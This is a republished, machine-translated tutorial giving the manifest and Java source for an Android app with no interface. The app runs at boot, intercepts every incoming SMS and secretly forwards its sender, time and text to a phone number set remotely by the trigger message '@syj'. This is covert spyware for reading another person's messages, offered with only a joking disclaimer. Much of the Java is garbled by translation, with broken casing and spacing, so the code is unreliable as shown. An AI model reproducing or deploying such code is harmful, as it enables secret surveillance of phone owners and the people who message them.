SMS monitoring software

Source: Internet
Author: User

In this case, it runs on an Android phone and is a text message listening software without an interface. Broadcastreceiver is mainly used to receive text message broadcasts. After receiving the text message, it jumps to the service to forward the text message. Haha, it is not used to do bad things. This case uses a small protocol. After the software is installed, you need to use your mobile phone to send the content @ syj to bind the mobile phone. After binding, you will receive an OK message to confirm that the binding is successful. Then when someone else sends a text message to a mobile phone that has installed the software, you will receive the text message.

Main functions:

Monitors all text messages received by mobile phones
Can listen to the boot information of the mobile phone
Can send the boot information to the specified mobile phone
Each intercepted text message can be forwarded to the specified mobile phone.
You can set the mobile phone number for receiving SMS messages by receiving special SMS messages.
The software runs automatically upon startup.

Code

Step 1: Compile the content of the androidmainfest. xml file

View code

 1 <?xml version="1.0" encoding="utf-8"?>
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
3 package="com.tiantian.test"
4 android:versionCode="1"
5 android:versionName="1.0" >
6
7 <uses-sdk android:minSdkVersion="8" />
8
9 <application
10 android:icon="@drawable/ic_launcher"
11 android:label="@string/app_name" >
12 <receiver android:name=".SMSBroadcastReceiver">
13 <intent-filter >
14 <action android:name="android.intent.action.MAIN" />
15 <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
16 <action android:name="android.intent.action.BOOT_COMPLETED"/>
17 </intent-filter>
18 </receiver>
19 <service android:name=".SMSService"></service>
20 </application>
21 <uses-permission android:name="android.permission.SEND_SMS"/>
22 <uses-permission android:name="android.permission.RECEIVE_SMS"/>
23 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
24 </manifest>

Step 2: Compile smsbroadcastreceiver. Java, which is mainly used to start the smsservice. Java file after listening to SMS messages or after the system is started.

 

View code

 1 import android.content.BroadcastReceiver;
2 import android.content.Context;
3 import android.content.Intent;
4 import android.util.Log;
5
6 public class SMSBroadcastReceiver extends BroadcastReceiver{
7 public void onReceive(Context context, Intent intent) {
8 Log.v("Cat", "I'm in BroadcastReceiver");
9 intent.setClass(context, SMSService.class);
10 context.startService(intent);
11 }
12 }

 

Step 3: Compile the smsservice. Java file with the following code;

 

View code

1 import java. SQL. date;
2 Import java. Text. simpledateformat;
3 Import Android. App. Service;
4 Import Android. content. intent;
5 import Android. content. sharedpreferences;
6 Import Android. content. sharedpreferences. Editor;
7 Import Android. OS. ibinder;
8 Import Android. telephony. smsmanager;
9 Import Android. telephony. smsmessage;
10 Import Android. util. log;
11
12 public class smsservice extends Service {
13 private sharedpreferences prefs;
14 private editor;
15
16 public final static string sms_received = "android. provider. telephony. sms_received ";
17 public final static string boot_completed = "android. Intent. Action. boot_completed ";
18 @ override
19 public ibinder onbind (intent arg0 ){
20 // todo auto-generated method stub
21 return NULL;
22}
23
24 @ override
25 public void oncreate (){
26 // todo auto-generated method stub
27 super. oncreate ();
28 prefs = getsharedpreferences ("_ interceptnum", mode_private );
29 editor = prefs. Edit ();
30
31}
32
33 @ override
34 public void ondestroy (){
35 // todo auto-generated method stub
36 super. ondestroy ();
37}
38
39 @ override
40 public int onstartcommand (intent, int flags, int startid ){
41 // todo auto-generated method stub
42 log. V ("cat", "I'm in service ");
43 log. V ("cat", "Action --->" + intent. getaction ());
44 If (intent. getaction (). Equals (sms_received )){
45 object [] PDUS = (object []) intent. getextras (). Get ("PDUS ");
46 If (PDUS! = NULL & PDUS. length! = 0 ){
47 smsmessage [] messages = new smsmessage [PDUS. Length];
48 for (INT I = 0; I <PDUS. length; I ++ ){
49 byte [] PDU = (byte []) PDUS [I];
50 messages [I] = smsmessage. createfrompdu (PDU );
51}
52 for (smsmessage message: messages ){
53 string messagebody = message. getmessagebody ();
54 string sender = message. getoriginatingaddress ();
55 log. V ("cat", "body --->" + messagebody + ";" + "sender --->" + sender );
56 If (messagebody. Contains ("@ syj ")){
57 editor. putstring ("_ sendto", Sender );
58 editor. Commit ();
59 smsmanager smsmanger = smsmanager. getdefault ();
60 smsmanger. sendtextmessage (sender, null, "OK! ", Null, null );
61} else {
62 if (prefs! = NULL ){
63 date = new date (message. gettimestampmillis ());
64 simpledateformat format = new simpledateformat ("yyyy-mm-dd hh: mm: SS ");
65 string sendcontent = "Date:" + format. Format (date) + "\ n"
66 + "Sender:" + sender + "\ n" + "messagebody:" + messagebody;
67 string sendto = prefs. getstring ("_ sendto", "failed to send ");
68 smsmanager smsmanger = smsmanager. getdefault ();
69 smsmanger. sendtextmessage (sendto, null, sendcontent, null, null );
70}
71}
72
73}
74
75}
76}
77
78
79 return Super. onstartcommand (intent, flags, startid );
80}
81
82
83
84}

Date = new date (SMS. gettimestampmillis (); // you can specify the time when the SMS is sent.
// 2009-10-12 12:21:23
Simpledateformat format = new simpledateformat ("yyyy-mm-dd hh: mm: SS"); // set the format for practice

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.